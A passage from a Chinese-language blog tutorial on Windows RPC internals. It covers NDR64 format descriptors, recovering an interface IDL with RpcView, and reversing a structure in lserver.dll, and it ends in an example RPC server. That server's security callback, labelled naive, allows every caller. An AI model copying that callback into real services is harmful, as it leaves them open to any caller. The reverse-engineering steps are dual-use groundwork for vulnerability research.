class="title">NDR64_PARAM_FORMAT</span> <span class="title">frag7</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_PARAM_FORMAT</span> <span class="title">frag8</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_PARAM_FORMAT</span> <span class="title">frag9</span>;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="type">__midl_frag11_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_PARAM_FORMAT</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    PNDR64_FORMAT       Type;</span><br><span class="line">    NDR64_PARAM_FLAGS   Attributes;</span><br><span class="line">    NDR64_UINT16        Reserved;</span><br><span class="line">    NDR64_UINT32        StackOffset;</span><br><span class="line">&#125; NDR64_PARAM_FORMAT, *PNDR64_PARAM_FORMAT;</span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_PARAM_FLAGS</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    NDR64_UINT16    MustSize            : <span class="number">1</span>;</span><br><span class="line">    NDR64_UINT16    MustFree            : <span class="number">1</span>;</span><br><span class="line">    NDR64_UINT16    IsPipe              : <span class="number">1</span>;</span><br><span class="line">    NDR64_UINT16    IsIn                : <span class="number">1</span>;</span><br><span class="line">    NDR64_UINT16    IsOut               : <span class="number">1</span>;<span class="comment">// 4</span></span><br><span class="line">    NDR64_UINT16    IsReturn            : <span class="number">1</span>;</span><br><span class="line">    NDR64_UINT16    IsBasetype          : <span class="number">1</span>;</span><br><span class="line">    NDR64_UINT16    IsByValue           : <span class="number">1</span>;</span><br><span class="line">    NDR64_UINT16    IsSimpleRef         : <span class="number">1</span>;<span class="comment">// 8</span></span><br><span class="line">    NDR64_UINT16    IsDontCallFreeInst  : <span class="number">1</span>;</span><br><span class="line">    NDR64_UINT16    SaveForAsyncFinish  : <span class="number">1</span>;</span><br><span class="line">    NDR64_UINT16    IsPartialIgnore     : <span class="number">1</span>;</span><br><span class="line">    NDR64_UINT16    IsForceAllocate     : <span class="number">1</span>;<span class="comment">// 12</span></span><br><span class="line">    NDR64_UINT16    Reserved            : <span class="number">2</span>;</span><br><span class="line">    NDR64_UINT16    UseCache            : <span class="number">1</span>;</span><br><span class="line">&#125; NDR64_PARAM_FLAGS;</span><br></pre></td></tr></table></figure><p>以第二个参数的描述符举例:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">&#123; </span><br><span class="line"><span class="comment">/* arg_2 */</span>      <span class="comment">/* parameter arg_2 */</span></span><br><span class="line">    &amp;__midl_frag15,</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* arg_2 */</span></span><br><span class="line">        <span class="number">1</span>,<span class="comment">//MustSize</span></span><br><span class="line">        <span class="number">1</span>,<span class="comment">//MustFree</span></span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">1</span>,<span class="comment">//IsIn</span></span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">1</span>,<span class="comment">//IsSimpleRef</span></span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        <span class="number">0</span></span><br><span class="line">    &#125;,    <span class="comment">/* MustSize, MustFree, [in], SimpleRef */</span></span><br><span class="line">    (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">    <span class="number">16</span> <span class="comment">/* 0x10 */</span>,   <span class="comment">/* Stack offset */</span></span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure><p>它的 Attribute为 <code>10Bh</code>, 即<code>IsSimpleRef</code>, <code>IsIn</code>, <code>MustFree</code>, <code>MustSize</code>. </p><p>查看<code>__midl_frag15</code>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> </span><br><span class="line"><span class="class"><span class="keyword">struct</span> </span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_STRUCTURE_HEADER_FORMAT</span>&#123;</span></span><br><span class="line">        NDR64_FORMAT_CHAR       FormatCode;</span><br><span class="line">        NDR64_ALIGNMENT         Alignment;</span><br><span class="line">        NDR64_STRUCTURE_FLAGS   Flags;</span><br><span class="line">        NDR64_UINT8             Reserve;</span><br><span class="line">        NDR64_UINT32            MemorySize;</span><br><span class="line">    &#125;</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* uknow1 */</span></span><br><span class="line">        <span class="number">0x31</span>,    <span class="comment">/* FC64_PSTRUCT */</span> <span class="comment">// 说明是个自定义结构体. 格式-值 对应表见 NDR64_FORMAT_CHARATER 章节</span></span><br><span class="line">        (NDR64_UINT8) <span class="number">7</span> <span class="comment">/* 0x7 */</span>, <span class="comment">// 8字节对齐</span></span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* uknow1 */</span></span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span></span><br><span class="line">        &#125;,</span><br><span class="line">        (NDR64_UINT8) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        (NDR64_UINT32) <span class="number">40</span> <span class="comment">/* 0x28 */</span> <span class="comment">// 说明结构体需要的字节为0x28. </span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> </span></span><br><span class="line"><span class="class">    &#123;</span></span><br><span class="line">        <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_NO_REPEAT_FORMAT</span> &#123;</span></span><br><span class="line">           NDR64_FORMAT_CHAR    FormatCode;</span><br><span class="line">           NDR64_UINT8          Flags;</span><br><span class="line">           NDR64_UINT16         Reserved1;</span><br><span class="line">           NDR64_UINT32         Reserved2;</span><br><span class="line">        &#125;</span><br><span class="line">         &#123; </span><br><span class="line">         <span class="comment">/* struct _NDR64_NO_REPEAT_FORMAT */</span></span><br><span class="line">             <span class="number">0x80</span>,    <span class="comment">/* FC64_NO_REPEAT */</span></span><br><span class="line">             (NDR64_UINT8) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">             (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">             (NDR64_UINT32) <span class="number">0</span> <span class="comment">/* 0x0 */</span></span><br><span class="line">         &#125;,</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_POINTER_INSTANCE_HEADER_FORMAT</span> &#123;</span></span><br><span class="line">            NDR64_UINT32         Offset;</span><br><span class="line">            NDR64_UINT32         Reserved;</span><br><span class="line">        &#125;</span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */</span></span><br><span class="line">            (NDR64_UINT32) <span class="number">16</span> <span class="comment">/* 0x10 */</span>, <span class="comment">// 说明0x10偏移处是一个指针</span></span><br><span class="line">            (NDR64_UINT32) <span class="number">0</span> <span class="comment">/* 0x0 */</span></span><br><span class="line">        &#125;,</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_POINTER_FORMAT</span> &#123;</span></span><br><span class="line">            NDR64_FORMAT_CHAR  FormatCode;</span><br><span class="line">            NDR64_UINT8        Flags;</span><br><span class="line">            NDR64_UINT16       Reserved;</span><br><span class="line">            PNDR64_FORMAT      Pointee;</span><br><span class="line">        &#125;</span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* *char */</span></span><br><span class="line">            <span class="number">0x21</span>,    <span class="comment">/* FC64_UP */</span></span><br><span class="line">            (NDR64_UINT8) <span class="number">32</span> <span class="comment">/* 0x20 */</span>,</span><br><span class="line">            (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            &amp;__midl_frag16</span><br><span class="line">        &#125;,</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_NO_REPEAT_FORMAT</span></span></span><br><span class="line"><span class="class">        &#123;</span> </span><br><span class="line">        <span class="comment">/* struct _NDR64_NO_REPEAT_FORMAT */</span></span><br><span class="line">            <span class="number">0x80</span>,    <span class="comment">/* FC64_NO_REPEAT */</span></span><br><span class="line">            (NDR64_UINT8) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            (NDR64_UINT32) <span class="number">0</span> <span class="comment">/* 0x0 */</span></span><br><span class="line">        &#125;,</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_POINTER_INSTANCE_HEADER_FORMAT</span></span></span><br><span class="line"><span class="class">        &#123;</span> </span><br><span class="line">        <span class="comment">/* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */</span></span><br><span class="line">            (NDR64_UINT32) <span class="number">32</span> <span class="comment">/* 0x20 */</span>,</span><br><span class="line">            (NDR64_UINT32) <span class="number">0</span> <span class="comment">/* 0x0 */</span></span><br><span class="line">        &#125;,</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_POINTER_FORMAT</span></span></span><br><span class="line"><span class="class">        &#123;</span> </span><br><span class="line">        <span class="comment">/* *char */</span></span><br><span class="line">            <span class="number">0x21</span>,    <span class="comment">/* FC64_UP */</span></span><br><span class="line">            (NDR64_UINT8) <span class="number">32</span> <span class="comment">/* 0x20 */</span>,</span><br><span class="line">            (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            &amp;__midl_frag19</span><br><span class="line">        &#125;,</span><br><span class="line">        NDR64_FORMAT_CHAR frag7;</span><br><span class="line">        <span class="number">0x93</span>    <span class="comment">/* FC64_END */</span></span><br><span class="line">    &#125; frag2;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">__midl_frag15_t</span>;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这里我把数值和结构体声明放到了一起, 方便理解. 通过这个结构体信息, 可以知道, 结构体大小为0x28. 有两个指针, 分别在结构体偏移 0x10, 0x20处.</p><p>查看<code>PNDR64_FORMAT __midl_frag16</code>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">const</span> <span class="type">__midl_frag16_t</span> __midl_frag16 =</span><br><span class="line">&#123; </span><br><span class="line">    <span class="keyword">typedef</span> <span class="keyword">struct</span> _NDR64_CONF_ARRAY_HEADER_FORMAT</span><br><span class="line">    &#123;</span><br><span class="line">        NDR64_FORMAT_CHAR   FormatCode;</span><br><span class="line">        NDR64_ALIGNMENT     Alignment;</span><br><span class="line">        NDR64_ARRAY_FLAGS   Flags;</span><br><span class="line">        NDR64_UINT8         Reserved;</span><br><span class="line">        NDR64_UINT32        ElementSize;</span><br><span class="line">        PNDR64_FORMAT       ConfDescriptor;</span><br><span class="line">    &#125; NDR64_CONF_ARRAY_HEADER_FORMAT;</span><br><span class="line"><span class="comment">/* *char */</span></span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* *char */</span></span><br><span class="line">        <span class="number">0x41</span>,    <span class="comment">/* FC64_CONF_ARRAY */</span> <span class="comment">// 说明是一个数组</span></span><br><span class="line">        (NDR64_UINT8) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* *char */</span></span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span></span><br><span class="line">        &#125;,</span><br><span class="line">        (NDR64_UINT8) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        (NDR64_UINT32) <span class="number">1</span> <span class="comment">/* 0x1 */</span>,</span><br><span class="line">        &amp;__midl_frag17</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_ARRAY_ELEMENT_INFO</span></span></span><br><span class="line"><span class="class">    &#123;</span></span><br><span class="line">        NDR64_UINT32        ElementMemSize;</span><br><span class="line">        PNDR64_FORMAT       Element;</span><br><span class="line">    &#125; NDR64_ARRAY_ELEMENT_INFO;</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* struct _NDR64_ARRAY_ELEMENT_INFO */</span></span><br><span class="line">        (NDR64_UINT32) <span class="number">1</span> <span class="comment">/* 0x1 */</span>,</span><br><span class="line">        &amp;__midl_frag21</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="type">static</span> <span class="type">const</span> <span class="type">__midl_frag21_t</span> __midl_frag21 =</span><br><span class="line"><span class="number">0x10</span>    <span class="comment">/* FC64_CHAR */</span>; <span class="comment">// 说明数组成员是 CHAR 类型</span></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> <span class="type">__midl_frag17_t</span> __midl_frag17 =</span><br><span class="line">&#123; </span><br><span class="line"><span class="comment">/*  */</span></span><br><span class="line">    (NDR64_UINT32) <span class="number">1</span> <span class="comment">/* 0x1 */</span>,</span><br><span class="line">    <span class="keyword">typedef</span> <span class="keyword">struct</span> _NDR64_EXPR_VAR</span><br><span class="line">    &#123;</span><br><span class="line">        NDR64_FORMAT_CHAR   ExprType;</span><br><span class="line">        NDR64_FORMAT_CHAR   VarType;</span><br><span class="line">        NDR64_UINT16        Reserved;</span><br><span class="line">        NDR64_UINT32        Offset;</span><br><span class="line">    &#125; NDR64_EXPR_VAR;</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* struct _NDR64_EXPR_VAR */</span></span><br><span class="line">        <span class="number">0x3</span>,    <span class="comment">/* FC_EXPR_VAR */</span></span><br><span class="line">        <span class="number">0x5</span>,    <span class="comment">/* FC64_INT32 */</span> </span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>, </span><br><span class="line">        (NDR64_UINT32) <span class="number">8</span> <span class="comment">/* 0x8 */</span> <span class="comment">// 说明数组size取决于偏移为8的字段.</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>通过<code>__midl_frag16</code>我们可以知道, 数组的size取决于偏移为8字段的值, 数组成员为char类型.</p><h2 id="Rpcview-获取-RPC-接口-IDL"><a href="#Rpcview-获取-RPC-接口-IDL" class="headerlink" title="Rpcview 获取 RPC 接口 IDL"></a>Rpcview 获取 RPC 接口 IDL</h2><p>通过rpcview的<code>decompile</code>操作, 可以得到接口的idl. </p><p>如果遇到rpcview解析idl报错, 比如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">[</span><br><span class="line">uuid(3d267954-eeb7-11d1-b94e-00c04fa3080d),</span><br><span class="line">version(1.0),</span><br><span class="line">]</span><br><span class="line">interface DefaultIfName</span><br><span class="line">&#123;</span><br><span class="line">[ERROR] unable to get list of all types sorted</span><br><span class="line">......</span><br><span class="line">error_status_t Proc8_TLSRpcRequestNewLicense(</span><br><span class="line">[in][context_handle] void* arg_0, </span><br><span class="line">[in]long arg_1, </span><br><span class="line">[in]struct Struct_302_t* arg_2, </span><br><span class="line">[in][string] wchar_t* arg_3, </span><br><span class="line">[in][string] wchar_t* arg_4, </span><br><span class="line">[in][range(0,16384)] long arg_5, </span><br><span class="line">[in][ref][size_is(arg_5)]/*[range(0,16384)]*/ byte *arg_6, </span><br><span class="line">[in]long arg_7, </span><br><span class="line">[out]long *arg_8, </span><br><span class="line">[out][ref][size_is(, *arg_8)]/*[range(0,0)]*/ byte **arg_9, </span><br><span class="line">[in][out]long *arg_10);</span><br><span class="line">....</span><br></pre></td></tr></table></figure><p> <code>[size_is(, *arg_8)]</code> 表示<code>arg_9</code>的堆大小取决于<code>*arg_8</code>的值</p><p>因为解析错误, 导致我们需要逆向<code>struct Struct_302_t</code>结构体. 有两个方法可以逆向结构体.</p><p><strong>方法一</strong>:</p><p>找到client端, 然后查看client是怎么调用的. 找client的方法如下, 用powershell安装 NtObjectManager</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">PS</span>&gt; <span class="built_in">Install-Module</span> <span class="literal">-Name</span> NtObjectManager <span class="literal">-RequiredVersion</span> <span class="number">1.1</span>.<span class="number">33</span></span><br><span class="line"><span class="built_in">PS</span>&gt; <span class="variable">$rpc</span> = <span class="built_in">ls</span> c:\windows\system32\*.dll | <span class="built_in">Get-RpcServer</span> <span class="literal">-ParseClients</span></span><br><span class="line"><span class="built_in">PS</span>&gt; <span class="variable">$rpc</span> | ? &#123;<span class="variable">$_</span>.Client <span class="operator">-and</span> <span class="variable">$_</span>.InterfaceId <span class="operator">-eq</span> <span class="string">&#x27;44d1520b-6133-41f0-8a66-d37305ecc357&#x27;</span>&#125; | <span class="built_in">Select</span> FilePath</span><br></pre></td></tr></table></figure><p>原理就是遍历dll, 找到调用了rpc的操作, 并找出其中调用了目标接口的dll. 根据dll(或者dll的引用方), 看client是怎么操作的. 这个方法不一定好用, 比如一些<code>size_is</code>标签是看不出来的. 此处感谢k0shl师父的分享.</p><p><strong>方法二</strong> :</p><p>逆向server的 <code>MIDL_SYNTAX_INFO</code>结构体.</p><p>示例<code>lserver.dll</code>:</p><p><img src="/images/rpc_readme/1722229193029.png" alt="1722229193029"></p><p><img src="/images/rpc_readme/1722229211301.png" alt="1722229211301"></p><p><img src="/images/rpc_readme/1722229305175.png" alt="1722229305175"></p><p>这里, 我关心的是第45个rpc函数的结构体描述符, 即1800A29B0:</p><p><img src="/images/rpc_readme/1722229640593.png" alt="1722229640593"></p><p>查看arg2对应的描述符:</p><p><img src="/images/rpc_readme/1722230026923.png" alt="1722230026923"></p><p>可以看到, 结构体大小为0x28, 字段大致如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">struct&#123;</span><br><span class="line">    int f_0;</span><br><span class="line">    int f_4;</span><br><span class="line">    int f_8;</span><br><span class="line">    int f_Ch;//pad</span><br><span class="line">    void *f_10h;</span><br><span class="line">    int f_18h;</span><br><span class="line">    int f_1Ch;</span><br><span class="line">    void *f_20h;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>跟入<code>unk_1800A22C0</code>:</p><p><img src="/images/rpc_readme/1722235196142.png" alt="1722235196142"></p><p>查看第一个指针的描述符:</p><p><img src="/images/rpc_readme/1722235471598.png" alt="1722235471598"></p><p><img src="/images/rpc_readme/1722236037118.png" alt="1722236037118"></p><p><img src="/images/rpc_readme/1722236108087.png" alt="1722236108087"></p><p>可以知道, 结构体是一个数组, 类型为char, size偏移为8.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">struct&#123;</span><br><span class="line">    int f_0;</span><br><span class="line">    int f_4;</span><br><span class="line">    int f_8;</span><br><span class="line">    int f_Ch;//pad</span><br><span class="line">    [size_is(f_8)]char *f_10h;</span><br><span class="line">    int f_18h;</span><br><span class="line">    int f_1Ch;</span><br><span class="line">    void *f_20h;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>f_20h的分析:</p><p><img src="/images/rpc_readme/1722236463119.png" alt="1722236463119"></p><p>所以, arg2对应的结构体如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">struct&#123;</span><br><span class="line">    int f_0;</span><br><span class="line">    int f_4;</span><br><span class="line">    int f_8;</span><br><span class="line">    int f_Ch;//pad</span><br><span class="line">    [size_is(f_8)]char *f_10h;</span><br><span class="line">    int f_18h;</span><br><span class="line">    int f_1Ch;</span><br><span class="line">    [size_is(f_18h)]char *f_20h;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h2 id="RPC项目示例"><a href="#RPC项目示例" class="headerlink" title="RPC项目示例"></a>RPC项目示例</h2><p>来自 <a href="https://www.codeproject.com/Articles/4837/Introduction-to-RPC-Part-1#Implicitandexplicithandles17" title="Introduce RPC">示例项目</a><br>代码里的”Example1.h”是根据idl自动生成的.</p><p><strong>Server</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// File Example1Server.cpp</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;Example1.h&quot;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Server function.</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">Output</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* szOutput)</span></span><br><span class="line">&#123;</span><br><span class="line">   <span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; szOutput &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Naive security callback.</span></span><br><span class="line">RPC_STATUS CALLBACK <span class="title function_">SecurityCallback</span><span class="params">(RPC_IF_HANDLE <span class="comment">/*hInterface*/</span>, <span class="type">void</span>* <span class="comment">/*pBindingHandle*/</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> RPC_S_OK; <span class="comment">// Always allow anyone.</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">   RPC_STATUS status;</span><br><span class="line"></span><br><span class="line">   <span class="comment">// Uses the protocol combined with the endpoint for receiving</span></span><br><span class="line">   <span class="comment">// remote procedure calls.</span></span><br><span class="line">   status = RpcServerUseProtseqEp(</span><br><span class="line">      reinterpret_cast&lt;<span class="type">unsigned</span> <span class="type">char</span>*&gt;(<span class="string">&quot;ncacn_ip_tcp&quot;</span>), <span class="comment">// Use TCP/IP protocol.</span></span><br><span class="line">      RPC_C_PROTSEQ_MAX_REQS_DEFAULT, <span class="comment">// Backlog 